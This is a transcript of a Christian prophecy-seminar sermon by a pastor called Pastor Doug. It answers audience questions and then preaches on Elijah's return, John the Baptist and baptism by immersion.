And everything fits together if you put the comma where it belongs in that translation. Very good. "This is my first time attending a prophecy seminar. I was raised catholic and want to know if there is anything I can do to secure my family's salvation?" That's a good question, a heartfelt question. The first and best and most important thing you can do for the one's you love is make sure that you get your roots down.
The more grounded you are in your relationship with Jesus and in the truth, the better you will exude that in your life, and then you'll be able to share with them. So I would encourage this person to be praying for your family. Ask for tact and grace to share things with them. When Pastor Doug first learned the things that I'm sharing with you, I came after my family just loaded for bear. I mean, I didn't have a lot of tact.
I think I scared them. And so you want to pray that you can be tactful and diplomatic and Christ-like as you present these things in bites that they can digest. And let them see Christ in your life, and they'll want what you have. If you've got the joy of the Lord, everybody wants happiness and so demonstrate it. "Why do you jump all over the Bible and not get the meaning of its message in its setting?" In the context.
Well, I do hope the Scriptures I'm quoting are not being quoted out of context. But because we are using so many proof texts for a point in a seminar like this, the Bible tells us as we study in Isaiah, it says, "here a little, there a little, line upon line, precept upon precept, comparing Scripture with Scripture." And so that's the way to do research and Bible study: in the mouth of two or three witnesses or more. That'd be a minimum. And so we are taking each point of truth and we're going through a myriad of verses to support those points. It's like putting a jigsaw puzzle together.
You need the full picture. "Who are the souls crying out for justice under the altar in Revelation 6? Who are those souls?" Yes, it tells us, in the book of Revelation, about these souls that are under the altar and they're crying out saying, "how long, o Lord?" They're crying for justice and vindication. And some are saying, "well there obviously--there are souls that are conscious in heaven." Think about that. These are the souls of the saved. Do you think that God has souls of the saved that are crying out? Unhappily, obvious.
You know, you read that vision there in Revelation 6, they're very unhappy. So it's an allegory of vindication. Justice is calling for vindication. Another example would be in Genesis 4 when cain kills abel, God says, "the blood of your brother cries to me from the ground." Do blood cells call or is it symbolic that justice is calling out for vindication? "You seem to lump all out-of-body experiences as false. What about Paul's out-of-body trip?" Well, when I talked about the out-of-body experiences, I'm talking about those who claim to have died on the operating table, not those who are taken off in vision.
Paul, Daniel, the vision of John. Paul said, he was caught up to the third heaven. He actually doesn't say it was him. He said, "I knew a man," but we believe; most scholars believe he's talking about himself. They were taken in the Spirit.
Now, their bodies didn't die, and they were taken off and shown things in vision. I am not saying that God can't speak to somebody that has a near death experience. I believe that he can. I think God can speak to people through a dream. You don't have to die for God to speak to you.
It doesn't mean what you dream becomes biblical truth and we base our theology on what you dreamed. God might be saying something to you, personally, in your own vernacular. When I first began to learn the Bible truth and I was up in my cave, I got so excited about the idea of Jesus coming, I had a dream. And I dreamed Jesus came down through the clouds driving a bumper car. Now, you're thinking that's--that was a dream just for me because in my youth, I always felt like I equated the ultimate happiness when you could go to the bumper car at the carnival and you didn't run out of time.
To me, it was the greatest fun. So when Jesus came in a bumper car, that was just between me and Jesus. I'm not gonna preach a sermon on that. Well, I guess I just did. Way to go, pastor.
Okay, last night's was a heavy subject. You presented--you took us deep into the prophecy. So here's a question that comes out of our subject last evening. That was on the antiChrist, if you missed it. "If the papacy is the antiChrist, does the pope realize this or is he aware that the power he holds will cause the end of times?" Well, as we continue studying this subject, you see, through prophecy, that this antiChrist power has a prominent role in the final scenario of events.
Personally, I don't think that the principle leadership in the church are aware of these things. I think many of them are very sincere and have the best of intentions. And pastor dwight and I were talking as we went over the questions. We're confident they'll be a number of popes in the Kingdom as well as millions of people who are part of the catholic church. We're talking about a system of teaching that drifted from the Bible just like it happened in the old testament among God's people with the northern kingdoms.
There were a lot of people in the northern kingdom that were God's people. Elijah was from the northern kingdom as was Elisha, the prophet, subject for our study tonight. But the people, as a nation, had drifted into idolatry and paganism. This is something that happened to the church during the dark ages. Thank you, pastor.
We'll get more tomorrow night. Oh, thank you, pastor dwight. Our study tonight is dealing with the return of Elijah. And it's one of the most amazing prophecies in the Bible. Again, I'd like to just begin with an amazing fact that corresponds with our study.
And it has to do with the Jordan river. I've had the privilege of being in the promised land a couple of times, at least the old earthly version, the land of Israel. And it meant a lot to me, not only because I'm a Christian because of my Jewish heritage. It was very inspiring. I, frankly, was a little disappointed when I first saw the Jordan river because I pictured, you know, you hear all these songs about the mighty Jordan roll.
And I thought of something like the amazon or the Mississippi, this big mighty river and if you could throw a rock across it. It wasn't much of a river. But it is one of the most unique pieces of geography in the Bible. And it has to do with--it goes from the mountains of lebanon, thousands of feet above sea level, all the way down to 1,300 feet below sea level. It's the lowest place in the world where the Jordan runs.
The Jordan was the border that separated the promised land from the wilderness. The way they entered the promised land was they crossed the Jordan. The Jordan is where naaman was washed seven times and he was cleansed from his leprosy. And the Jordan was a place where there was a lot of ministry for Elijah, the prophet. Now, I'd like to take you to our opening Scripture, our most amazing prophecy is the last prophecy in the old testament.
So why don't you go there with me to Malachi 4 and we'll read it in our Bibles. Malachi 4 and, I think it's right there on your screen for you... "Behold I send you Elijah the prophet." Now, this was a very amazing prophecy. Matter of fact, when Jesus began his ministry, the religious leaders came and they said, "are you Elijah?" They knew Elijah was coming back. Some of them thought maybe it would be a reincarnation.
But to really understand this, we need to go back and look at the life of Elijah. He was one of God's great prophets. He prayed and it did not rain for 3 1/2 years and God fed him with ravens in a miraculous way. He also prayed another time, fire came down from heaven and burnt up this sacrifice from a cloudless sky. The Bible tells us that he prayed seven times and then the rain storm came.
He prayed another time, fire came down and burnt up an army that had come to arrest him. Matter of fact, that happened twice. The third army that came after him humbled themselves and he said, "all right, then. I'll go with you." Mighty prophet of God; made Kings tremble. Elijah would come again.
Was that a reincarnation? To understand what the Scripture means about the Elijah return, you need to look back at the first one who came in the Spirit and power of Elijah. The Bible tells us that after Elijah left Mount Sinai, he had been in the wilderness, that he was told by the Lord to call to choose an apprentice. And his name was very much like Elijah's. It's Elisha. The name Elijah means, my God.
Elijah, elohim, God is jehovah. And Elisha's name is God is Savior. One was Elijah, God is jehovah. The other one is el yeshua, God is Savior. It's like the name of Jesus.
He put his mantle on Elisha. Elisha was The Son of a rich farmer. He left everything, started following Elijah. And after he had been trained in ministry under the greatest prophet, when Elijah went to heaven in a fiery chariot, they crossed the Jordan river, in a miraculous way, it parted. And the two of them went across the Jordan, came up dry on the other side.
You know what made the Jordan part? They took the mantle of Elijah and they struck the water. It's a type of the righteousness of Christ. What is it that allows us to cross death? It's the robe of Christ, isn't it? The Jordan, in the Bible, represents death and burial. Baptism took place in the Jordan river. When the children of Israel came out of Egypt, the way they got into the promised land from the wilderness is they had to cross the Jordan.
Most people, to get to heaven, are gonna have to go through the Jordan. Most people have to die, don't they? So the Jordan is understood--by the way, it's the lowest river in the world, goes into the dead sea-- they cross a Jordan. It's a symbol of death. And when he struck the waters, Elijah struck the waters with his robe. Later Elisha struck the Jordan with his robe.
It parted and worked a miracle where they could cross over and come up dry and clean on the other side. So we went to heaven in a fiery chariot. And Elisha asked Elijah before he left, he said, "let a double portion of your spirit be upon me." And God answered his prayer and a double portion of Elijah's spirit was given to Elisha. And Elisha ministered also around the Jordan river. Some of you remember the story where an ax head sank and he prayed then it floated in the Jordan.
Now I want you to fast forward 800 years. An old priest named Zechariah is ministering in the temple before the altar of incense and an angel appears. And that angel, gabriel, tells him that he's gonna have a son. Like Abraham and elizabeth, this couple, Zechariah and--I'm sorry like Abraham and sara. Zechariah and his wife, elizabeth, are gonna have this miraculous baby in their old age.
And it says, "he will go before him in the Spirit and the power of Elijah." So we are, right now, beginning to find out who it is that came in the Spirit and power of Elijah. It was not the reincarnation. Please don't think it's the reincarnation of Elijah. John the baptist was going to come in the Spirit and power of Elijah. Matter of fact, some of you have wondered, when the religious leaders came to John and they said, "are you Elijah?" He said, "no.
" Because what they were asking is, "are you Elijah resurrected?" They were asking the wrong question. No, he wasn't. God doesn't teach reincarnation. But did John come in the Spirit and power of Elijah, the same way Elisha had a double portion of Elijah's spirit? Yes. It's a spirit of revival and reform and dedication.
And it says that the rest of that prophecy, Luke 1:17, "his ministry would be to turn the disobedient to the wisdom of the just and to make ready a people prepared for the Lord, to prepare people to meet God." And that is the most important part of our study tonight, to prepare people to meet Christ when we comes in peace. Jesus said something astounding. Of all the great prophets in the Bible, speaking of John the baptist, he said, "of them who are born among women, there is no greater than John the baptist." Wow. Moses, Abraham, Elijah and Jesus hold forth John the baptist. Part of that is because the work of John the baptist was the greatest work in introducing--he was the emcee for the Messiah.
He introduced the Messiah. He was the one who said after thousands of years of the sacrificial system, "drum roll, there he is, the lamb of God that takes away the sin of the world." And John the baptist had the privilege of baptizing Jesus and watching him be anointed with the Holy Spirit to begin his ministry. He is one of the greatest because of his--his ministry was so great. I thought it was interesting just as a little, additional amazing fact; 2004, they found this cave just near the banks of the Jordan river. And they're claiming--one english archaeologist says he believes that it was the haunt of John the baptist.
And within the cave, they've actually got a cistern where it appears that they did baptizing the artifacts that were covered do date back to the time of John the baptist. And I guess there's some sketching on the wall of someone--a bearded character who--you know, John the baptist, the Bible says he was a little eccentric by our standards. He wore camel skin and a leather belt just like Elijah. And so i, you know, most archeologists think it may be a dubious or questionable discovery, but it's still interesting to think about. Jesus said, "if you have any doubts about John the baptist being Elijah's--Elijah's return--he wasn't Elijah reincarnated 'cause Elijah's in heaven now.
Jesus said, Matthew 11:14, "and if you're willing to receive it, he, John, John the baptist, is Elijah who is to come." And if that's not enough from Matthew 11, go to Matthew 17. Jesus said it twice. Jesus answered and said to them, this is verses 11-13, "indeed Elijah is coming--" now don't miss this. He says, "Elijah is coming," future tense. "And will restore all things.
But I say unto you that Elijah has come already and they did not know him. Then the disciples understood that he spoke to them of John the baptist." That tells us that there is another return of Elijah before the second coming. Others will come or another will come in the Spirit and power of Elijah. The same way that John the baptist prepared the world for Jesus' first coming, I believe there's an Elijah message that will prepare the world for Jesus second coming. Amen? And I'd like to hope I'm part of that and what we're doing here and pastor dwight and other ministers sharing the three angels' message.
Now, what are some of the ways that John the baptist was like Elijah? Let's go back again. Think about this. During the time of Elijah, the old testament, a wicked queen named jezebel tried to destroy him during a time period of 3 1/2 years. You know, John the baptist ministered during the time of Christ. Jesus ministered 3 1/2 years, and a wicked queen named herodias ultimately had his head on a silver platter.
A lot of parallels between the two. They were both living in the wilderness. Elijah fled into the wilderness. They discipled people. They worked by the Jordan river.
Now, if we're gonna talk about John the baptist and his great ministry and if we're gonna take the statements of what Jesus said and how important they are, what is it that John the baptist did? Well, what separates him from John the apostle? He's the baptist. What do baptists do? They baptize. John baptized Jesus. It must be important. So we're gonna study this subject because when Christ was baptized he was filled with the Holy Spirit and he began a life of ministry.
Do you know God baptized his whole nation of Israel? Did you know that? It tells us there in 1 Corinthians 10 that the whole nation of Israel went through the red sea and they were baptized in the sea and later they were covered with a pillar of cloud and a pillar of fire. They were baptized in the water and in the Spirit, the whole nation. And then the Lord says that we must be born of the water and born of the Spirit. So let's go into our study. I want you to know how important this is.
Number one, this is prophecy is a segue for this very important subject. "Why was the baptism ministry of John so important?" Answer, Jesus speaks to us last chapter of Mark, "he that believes and is baptized shall be saved. But he that believeth not shall be damned." You notice it doesn't say, "he that is not baptized will be damned." Because we are not saved by baptism, we're saved by Jesus and by faith. But look at how the Lord did put that big emphasis on "he that believes and is baptized will be saved." It's something that he paired together. Furthermore, Jesus said in John 3:5, "most assuredly I say to you, unless one is born of the water and born of the Spirit, he cannot enter the Kingdom of God.
" Now, some have said, "born of the water," well that means that, you know, you're in this amniotic fluid before you're born. And so that the human birth and you need to be born of the water and then born of the Spirit." No, that's not what it's talking about. Jesus is talking about baptism. Why would he say that? Let me ask a question? How many here, just wondering, were born of a woman? Why would Jesus say that? Wouldn't that be a little redundant? So when he says, "born of the water," he's talking about water baptism is your choice. Spirit baptism is God's choice.
You know, our world, before it is made new is baptized in water in the days of Noah, and it will be baptized in fire when Christ comes again and then he makes a new earth. If you want a new body, we must be born of the water and born of the Spirit just like the world. And the last words of Jesus ought to have a high priority with Christians. What did Jesus say as he ascended to heaven? "Go ye therefore and teach all nations baptizing them. Teaching them to observe all things whatsoever I've commanded you.
" Go and teach and baptize. It's very important to Jesus. So this is something that we ought to study. It's a priority with Christ. It should be a priority with his people.
Now some are thinking, "well, if it's that important, aren't there gonna be a lot of people in heaven that weren't baptized? What about all those people in the old testament?" That's true. But it's something that once Christ establishes something as a truth, as an ordnance, then we must embrace it if we're living during these new testament times. You might be thinking, "well, what about the thief on the cross we talked about in our questions? He accepted Jesus. Jesus said, "you'll be with me in paradise." He wasn't baptized. How could he be saved--obviously, it's symbolic.
It's not that important. Well, if a person can be baptized, they should be. He couldn't be. Periodically, I'll go visit somebody in the hospital and they're on their deathbed. And I do my best whenever I can to lead a person who hasn't yet made their decision to accept Christ.
And I have seen people in their final hours accept Jesus. One brother who was dying of aids on his deathbed, basically, all these hospital tubes and equipment, asked Jesus into his heart. And I prayed with him, and I hope to see him in the Kingdom. He couldn't be baptized. Sometimes in prison, a person on death row, can the Lord forgive someone who's even guilty of murder? Yeah, that's not the unpardonable sin.
They've accepted Jesus, they've asked for forgiveness, but the prison, because of security, will not accommodate a baptism. Is baptism to be an obstacle to their salvation? But how can they get credit? Why was Jesus baptized? Was he baptized for his sin? No. Christ was baptized for several reasons. One an example for you and me. I'll talk about that later.
But Jesus was also baptized as--to give credit for those who cannot be. For instance, did Christ die for his sin or for yours and mine? For ours. So the baptism of Jesus certainly inaugurated his ministry. But even more than that, he was an example. But even more than that, Christ, since he was not baptized for his sin, those who can't be baptized because they're on a cross or in a hospital or in a prison, Jesus will give them credit for his baptism.
But if you can be and you're not, you're putting aside something Jesus says he commands us to do. Amen? He says this is a priority for believers. James 4:17, "therefore to him who knows to do good and does not do it, to him it is sin." If you know it's something God asked us to do, we should do it. Number three, "there are many ordinances that are called baptism these days. Isn't any one of these acceptable provided a person is sincere and earnest about it?" Does it need to be the biblical method of baptism? What are some of these other ordinances? Well, maybe you've heard, a lot of churches teach water baptism is just a symbol.
What really matters is Holy Spirit baptism. You don't really need water baptism. Others say, "you can be baptized by pouring oil. It's the same as anointing." They'll pour oil. Some teach you pour salt.
Others do rose petals. Some baptized by immersion three times, once for The Father, once for The Son, once for the Holy Spirit. They've got all these different things that they call baptism these days. Did I mention the rose petals. That one surprised me.
Sprinkling and pouring and then some people tell evangelists and others, they'll say, "you can get baptized other the phone. Just call us or touch your tv." That's what you call the dry cleaning method. But do any of these things-- are they all valid? What did Jesus say? Ephesians 4:5, "there is--", say it with me, "one Lord, one faith, one baptism." Now, that means there's one baptism, one truth we are baptized into, one Christ. But I believe there's one biblical method of baptism. We only find one kind of baptism in the Bible, one type.
What is the word "baptism" even mean? It's coming from a Greek word "baptizo" and that word means "to dip", "to immerse", to "plunge under water", and a person to be completely buried in the water. They find that word frequently in ancient Greek literature. The same word you find in the Bible, "baptizo," and it was used by the cloth industry when they wanted to die cloth. It says that they would take a stick and they would plunge the cloth under so it would penetrate every fiber in the cloth, and it was baptizo, the same word. It was immersed in the dye.
There's no question about what the word means. Now, if you're in doubt, what is a Christian but a follower of Jesus, amen? Do what Jesus did and you're always safe. What did Jesus do? How was Jesus baptized? That's our next question. If we follow his example, we know we're on the right track. Mark 1:9, it says, "Jesus came and was baptized of John in Jordan and straightway coming up out of the water, he saw the heavens opened.
" He went down into the water, he came up out of the water. And, again, you can read Matthew 3:1... Now, if sprinkling or pouring is appropriate, did John need a river? Matter of fact, you can read in the Gospel of John 3:23, "and John also was baptizing in aenon near salim, because there was much--" what does it say? "Much water there." Why did he pick that spot? 'Cause he could fill a canteen and sprinkle people? No. There was much water there and they came and they were baptized. It's very clear in the Bible, everyone who is baptized, they were immersed and it represented a total envelopment of water.
And some might be thinking, "does it really matter, Pastor Doug? I mean, because it's a symbol." And it is a symbol. But do the symbols matter? I was disappointed. A preacher that I really respect, I sometimes listen to on the radio. I heard him say one time, "since it's just a symbol," he said, "you know, you can go out and you can get hamburgers and coca-cola for communion." Where, you know, the Bible says it's just to be unleavened bread and unfermented grape juice. And here this pastor is saying, "ah, it doesn't matter.
It's just a symbol." Go get big macs and coca-cola as the type of the body and the blood of Jesus? How can a hamburger be a type of the body of Christ? The more hamburgers you eat, the less Christ-like you look. So I don't even know how you can tie those two together. I was disappointed. I think that's sacrilegious. I think we need to stick with the symbols that Christ gives us because it's the Word of God.
He's God. He means what he says. Number five, "but didn't the disciples or the apostles change the method of baptism? When Philip went to baptize the Ethiopian treasurer, who had just come from worshipping in Jerusalem, he accepted Jesus. How was he baptized? It says, "and they went both down into the water, and Philip and the eunuch; and he baptized him." And it says in verse 39, "then when they were come up out of the water, the Spirit of the Lord caught Philip away." Is it clear again, the Bible example of baptism? There's many. They went down into the water.
They came up out of the water. It represented a whole cleansing. Now, it's very likely that John the baptist was friends with the essenes. The essenes were a very strict religious group that lived near the dead sea. They've excavated their community and one of the central parts of their community was their baptistery that you got down into.
And so everybody, back then, understood, especially in a desert where water is so precious-- if they could do it with less, you'd do it with less, right? But even in the desert, they said, "no. Immersion." That was the method. Number six, "who introduced so many of these unbiblical methods of baptism that become so prevalent and popular?" Well, I think we're all suspicious of the answer already. Matthew 15:9, Jesus said, "but in vain do they worship me teaching for doctrines the commandments of men." A lot of these things are just commandments of men. And again, Mark 7:8, "for laying aside the commandment of God, you hold the tradition of men," Jesus said.
Christ is telling us, we need to stick with the commandments of God. Say, "amen." Please. Thank you very much. Another example. Even up to the first century.
Here's a picture of a church that was excavated in Philippi from the first century. What's the central thing in the church? It's a baptistery that they had right in the middle of the church. A matter of fact, right up 'til over a thousand years after the beginning of the Christian era, they were baptizing by immersion. Here's a church in rome and the whole church is built around a baptistery not made for sprinkling, but made for getting in. You can read from the history books, it's something that is very easy to uncover.
If you want to do a little research, you'll quickly see that immersion was the method of baptism... And again, from the Bible scholar, dean stanley, from Christian institutions... It's something that came slowly over time. "Now, Pastor Doug, are you telling me thousands of people who are listening now, probably tens of thousands who are listening now in english or spanish or portuguese were baptized, maybe as babies, maybe by sprinkling? Are you saying that my baptism isn't valid? All these years, I've loved the Lord and thought I was baptized." God knows your heart. He knows you're sincere.
Jesus was dedicated as a baby in the temple. And your parents, really what they did is they dedicated you. But Jesus was baptized at 30 by his choice. It's something you must choose. And that leads us easily into question number seven.
"What must a person do to prepare for baptism?" What are some of the criteria? How do you get ready for baptism? Well, first of all, answer, a, "we must understand the teachings of Jesus." Jesus said, "go ye therefore teach and baptize." So there's some teaching, some intellectual cognitive understanding that you must embrace before baptism. B, not only know what the truth is, accept and believe all the teachings of Jesus. Jesus said, "teaching them all things whatsoever I have commanded you." Well, that would certainly include the commandments of God, right? We need to know what does the Lord want us to do. What's his commands? Answer c, be willing to repent of--and this is acts 2. They said, "Peter, what shall we do?" He said, "repent and be baptized.
" Repent. That means a sorrow for our sins and a willingness to turn away from those sins. Got that? Answer d, again when the Ethiopian treasurer was baptized Philip said, "if you believe with all your heart." It ought to be a total commitment. It's a very serious thing to be baptized. Answer e, "a willingness to turn from sin.
" I already touched on that, Romans 6:5-6. Based on these criteria of what the Bible says should be done prior to baptism, is it appropriate to baptize a baby? Can a baby repent of its sins? Can a baby be taught the commandments of God? Can a baby believe with all of its heart and accept the plan of salvation? No. It is appropriate to dedicate our babies, but you shouldn't call it baptism. For one thing, if you baptize babies biblically, it might not be safe to plunge them under like that. Actually, I hear babies learn to swim pretty quick.
They naturally hold their breath when they're little. But don't--don't--don't try this at home. I'm always afraid. There's so many attorneys out there. You gotta always say that after everything.
Galatians 1:8... There are a lot of false things out there that are being taught, that are being practiced. But if it isn't from the Word of God and what you read the apostles saying, go by the Bible and you're safe. Amen? Friends? All right. Why is this important? Number eight, "what is the symbolic meaning of baptism?" There is a symbolic meaning.
Colossians 2:12, it says... It's a symbol of a burial for one thing. Now, if back in the good ol' days when not every city had a city dump, sometimes on the farm, kids were told to go out and bury the trash. What you couldn't burn and what you couldn't feed the animals, they would bury. How many of you remember those days where every farm had its own little dump and you were very economical about what you put in there? And if you tell your teenage son or daughter, "all right, take the trash out and go bury it.
" They might dig a hole out there somewhere, and if they dig a hole and they throw the trash in it and they just sprinkle some dirt on it, is that a burial? Have you ever been to a funeral where you might symbolically sprinkle some dirt on the deceased's casket, but there's some guys hanging around with shovels, aren't there? Because you don't just leave it like that. They're not buried yet. Buried means covered over and that's what should happen with the water. It's saying that your old life is completely out of sight. Again, Romans 6:4; baptism is symbolized by a death.
.. Now, I want to park on this point for just a moment. Some people say, "Pastor Doug, I see that baptism is very important, and I believe God wants me to get baptized. There's some things my life I need to straighten out, but if I could just get baptized. I think I could give up my drinking and my drugs and my cigarettes and--" and you know what? There are a lot of pastors that will probably baptize a person before they're committed to a newness of life.
I'm not one of them. I believe that you should lay those things aside before baptism. The Bible compares baptism to marriage. I'll get to that in just a moment. Let me ask the ladies, present, a question.
If a young man that you were courting, were on a campus here so I can use this as an example, said to you, "you know, I think I'd like to marry you. And if we could only have a marriage ceremony, I could probably stop dating the other girls on campus." How many of you would accept that proposal, anyone? Wouldn't you say, "no, no, no, we're not even talking about marriage until you're totally done dating anyone else? How many would agree with that? Baptism represents: you are turning from your service to the devil, you're being liberated from that and you're gonna now walk in a newness of life. So baptism doesn't make you stop smoking or drinking and it's really hurt people before when some pastors who--i think they may mean well or they think there's some potency in the water that's gonna help this person get the victory. No, you get the victory before the ceremony. When people came to John the baptist for baptism he said, "bring ye forth therefore fruits meet unto repentance.
" You repent and you baptize but repentance means there's a transformation in your life, and he gave them a number of specifics. So there should be victory there. Let's move on. Romans 6:5, it's a symbol for death, a burial, and praise God, not just a burial, a resurrection. You are a new creature.
It's like when a baby comes out of the water and it takes that first breath. It's born and when you're baptized it's like you're born again. You come out of the water and you take that breath and it represents a newness of life, a resurrection. You are a new creature all those old sins are left in the water. It's wonderful ceremony, but it is that; it is a ceremony.
When I was in Israel, I collected some water from the Jordan river and this is, oh, 20 something years ago. I still have a bottle half full. And I thought it would be nice, one of these mission churches--i pastored a church on a reservation in New Mexico. I want to say hi to my friends [inaudible] who are watching there in navajo land. But I remember one time I poured some of the Jordan water in the baptistery and all of a sudden, everyone wanted to get baptized.
And they came up to me later and I just did it 'cause I'm a little romantic. I thought, "wouldn't that be nice to say I was baptized in some of the same water Jesus was baptized in?" But they took it too far. They kept, "can I have some?" And they poured it on my hands. They rubbed it on their face. Oh, no, no, it's water.
It's h20. It probably wasn't even clean water. Jordan river's not a clean river. It's a muddy river. Symbol of death, burial, resurrection.
.. In other words, there ought to be a crucifixion of the old man before baptism, that old nature. We're not gonna live for sin anymore. I remember when I first learned this truth, pastor was working with me. I was still smoking.
That was a big struggle for me. And I gave up the drugs and I gave up the alcohol, but smoking was a struggle. And I wanted to get baptized. And the pastor said, "no, brother doug," he says, "you gotta give up the cigarettes." And a little girl, rachel, was in the pickup truck with me and I had my cigarettes on the dashboard. And I'm looking at him and I'm saying, "God knows I'm loving--i love him.
It's not what goes in the mouth that defiles you." And I'm making this speech to him and right then, little rachel took the cigarettes, began to shake them. I didn't see her do it. And they're all falling out of the pack. He says, "she sees what you're doing." He says, "you need to start a new life for her if for no one else." And I was convicted. And he said, "by the way, it represents a new birth and God doesn't want his babies smoking.
" I mean, you think about it. You go to somebody and they say, "praise the Lord. I got baptized today"... I mean, how can you represent Jesus like that? We're babies in Christ. It's a new birth.
There's a purity there. I understand that the fluid around a baby is constantly being purified and it's representing a new birth. Again, Galatians 3:27, "for as many of you as have been baptized into Christ have put on Christ." It's like we are putting on the robe of Christ's righteousness. It's like a wedding, like a marriage. A marriage ceremony is very important but does the ceremony make you love? Ladies, I like to always ask the ladies because they know the answer right away, men have to think about it.
If a man came to you and said, "you know, I think if we could just get married, I'd really love you," would you by that or does the love have to happen first? The ceremony is the public declaration of the commitment that already is there. Is that right? So some people think that there's some magic in the water that's gonna make it happen. Yes, the baptism ceremony is very important and things do happen at that ceremony. It's registered in heaven. But the commitment must be it.
The ceremony doesn't make the commitment. Number nine, "should a person not be baptized until he's certain he'll never sin?" That's the other extreme. I've had some people postpone their baptism. "Oh, Pastor Doug, I'm so afraid after I get baptized, I'll do something wrong. I gotta wait until I'm sinless.
" If you waited 'til you knew everything about your spouse before you got married, or until you thought they were perfect--how many of you learned a lot after you got married. Karen should have put--oh, her hand's up, I just wondered. I wrote her a poem when we got married. I will not recite it for you right now. But I thought, "you know, what can I promise her?" And the only thing I could promise her was it won't be boring.
That was the theme of my poem. And I've kept my word. 2 Corinthians 8:12, "if there first be a willing mind, it is accepted according to that a man hath, and not according to that a man hath not." If you come to the Lord and you are willing to lay aside all of these, the prominent things in your life that are obstacles, it doesn't mean you have to walk sinlessly before you're baptized. But any kind of addiction should be laid aside. If you've got a problem drinking or smoking or drugs, wrong kind of relationship, you've got to get those things behind you so that you are walking, so that you have a path before you where you have an opportunity to walk in consistency with Christ.
You can expect that the devil's gonna throw banana peels in your way. Don't get discouraged. Get back up. You keep on going, amen? So you don't wait until you feel like you're perfect, but at the same time, you shouldn't be getting baptized if you're still handcuffed to the devil. You understand the balance? Ephesians 5:25, it's compared to a marriage.
"Husbands, love your wives even as Christ also loved the church and gave himself for it." Baptism is a public--and you know, it's usually done publicly. John did it at the river and people were all gathered and he pointed to Jesus and everyone saw what was happening. We should not be ashamed of our commitment to Christ. Ladies, question: if a man said to you, "yeah, I'd like to get married, but do we have to have people see me do this? Does--do other people have to know about this," would that worry you? Now there are cases, I know some friends that are in china and some countries where you're persecuted for your Christianity, they need to have clandestine baptisms there 'cause it's just illegal in the government. And in some countries in india, certain territories are, the hindus and the muslims, are very hard on Christians.
They have private baptisms because otherwise they could just cause a riot. And so you need to be prudent about these things. Number ten, "why is baptism an urgent matter for a converted sinner?" Paul says or Paul's testimony, acts 2:16, and ananias said to Paul, "arise and be baptized and wash away thy sins calling on the name of the Lord." Baptism is a symbol for a washing away of our sins. And don't we need our sins washed away? That record of sin is left in the water. I always pray with people at my church before I baptize them.
And I tell them, I say, "before you get in the water," I said, "I want you to know that you may not feel electricity go up and down your spine, but Christ has promised that if you do this, that you come out of that water and all the mistakes and the sins of the past are left behind. You are pure. And if you slip and die after you get out of the baptistery--" that didn't sound right. I don't word it that way. But I said, "you know, if you should die tonight, after you get out--you're sins are under the blood of the lamb," and tears often well up in their eyes as they hear that.
They say, "yes, I want to leave all the old man, buried, dead. I want to be born-again. I want to be cleansed." And baptism is all a symbol of that. That's why Jesus said in Matthew 28:19, repeating this, "go ye therefore teach all nations baptizing them in the name of The Father and The Son and the holy ghost." And people often say, "oh, there it goes. Now, Pastor Doug, a lot of churches baptize using different utterances.
What name should we baptize in?" How many of you have heard people argue that point before? I get that Bible question a lot. Should it be in the name of The Father, son and Holy Spirit? Some say, "no, that's just a title." And others say, "it should be in the name of Jesus." Well, let's look at what the Bible says. Jesus, first of all, said, "name of The Father, son, and the Holy Spirit," on your screen. Acts 2:38, it says, "in the name of Jesus Christ." Acts 8:16, "in the name of the Lord Jesus." Acts 10:48, "in the name of the Lord." You know what that tells me? They're all a little different. The emphasis wasn't on the exact utterance.
Matter of fact, the statement, "above the head of Jesus. This is Jesus Christ, king of the jews." In Greek, Hebrew and latin, they were a little different in each language you read the Gospels, but it's the same person, no question about it. It's sort of like--people get so distracted with trivial stuff, they miss the big things. When I do a wedding--i periodically do weddings. I don't do a lot of weddings.
For some reason, the ladies are superstitious about having the name pastor Batchelor on the certificate and so I don't get asked very often but--and they make me nervous, so that's okay. When I do a wedding, I meet with the bride and the groom, we go over the vows. And I say, "you know, there's different kinds of vows and how would you like to do them?" And sometimes they have a very formal high wedding where I say, "do you--" and I'll say the groom's all four of his names, "take the bride--" and I'll say all four of her names and all her ancestors. It's very formal. And then others say, you know, we've got some friends.
It's a small wedding. We'll do it a little more informal. Everyone here knows who's who and I'll say, "do you, John, take jane?" And you know what? In any state in the country, either way you utter that, it is a legal marriage ceremony. And so when people are being baptized and you say, "in the name of The Father and The Son and the Holy Spirit, I try to cover all the bases. You know what I do? I say, "in the name of The Father, in the name of his son, Jesus Christ, in the name of the Holy Spirit.
" I know one pastor--i think God has a sense of humor, don't you? And he was an American english pastor who was baptizing a hispanic member and he wanted to do it in his own native tongue. And so the pastor--what he wanted to do was say: en el nombre de la padre y el hijo y espiritu santo. Something like that, right? I've got a lot of spanish friends here. And he got flustered when he was saying it. He said, el nombre de la papa, which is "the pope" or "potato.
" Potato's papa too. So he baptized him in the name of the potato, The Son and the Holy Spirit or the pope and The Son and the Holy Spirit. And the gentlemen who was getting baptized, he kind of smiled a little bit and then he got baptized. You think the Lord accepted that baptism? Of course, he did. I mean, he can get to the gates of glory and say, "you can't come in because you were baptized in the name of the potato.
" No, some people, you know, they major on minors; God looks on the heart and, you know, God is not an exacting tyrant like that. But this also raises another important question. What about rebaptism? Some have been baptized--first of all, many of you already have learned--a lot of our friends, you were maybe baptized as a baby or baptized by sprinkling and you realize, "I need to be baptized as Christ was." It is appropriate to be rebaptized. There's an example in the Bible if you read in acts 19, you can read verses 2-5. Paul is preaching unto these Ephesians believers and he asked them if they were baptized and they said unto him, "we've not even heard whether or not there'd be any Holy Spirit.
" He said, have you received the Holy Spirit... Notice, when they heard this, they were baptized in the name of the Lord Jesus. Now here they were baptized by John the baptist, obviously, before Christ began his ministry but it was by immersion the way John did it. But then they left town, went up to ephesus. They had not heard about Christ's ministry, his death and all that happened.
And there was so much they didn't know. They were rebaptized because they'd learned so much more. So another reason is if you're not baptized biblically, one of the Bible methods sprinkling, pouring, rose petals, you should be baptized biblically. If you were baptized and you just did not understand the major concepts of the Gospel--some people, they get baptized like cattle. They're just told, "it's time to get baptized.
" They don't know what the commitment means, and it's really not their choice. They might consider rebaptism. They come into a whole new understanding. The third reason for rebaptism, I told you it's like a marriage ceremony. If a person divorces themself from the Lord, major backsliding, they publicly turn away and walk with the world, when you come back.
I'm not talking about you missed church one week or you lose your temper. But if you publicly turn away from the Lord, it might be appropriate to consider rebaptism. And so you might want to talk to one of your site leaders or a pastor about your situation if you're in that category. Pastor Doug was rebaptized. Want to hear about it? First time--oh, you've already heard it.
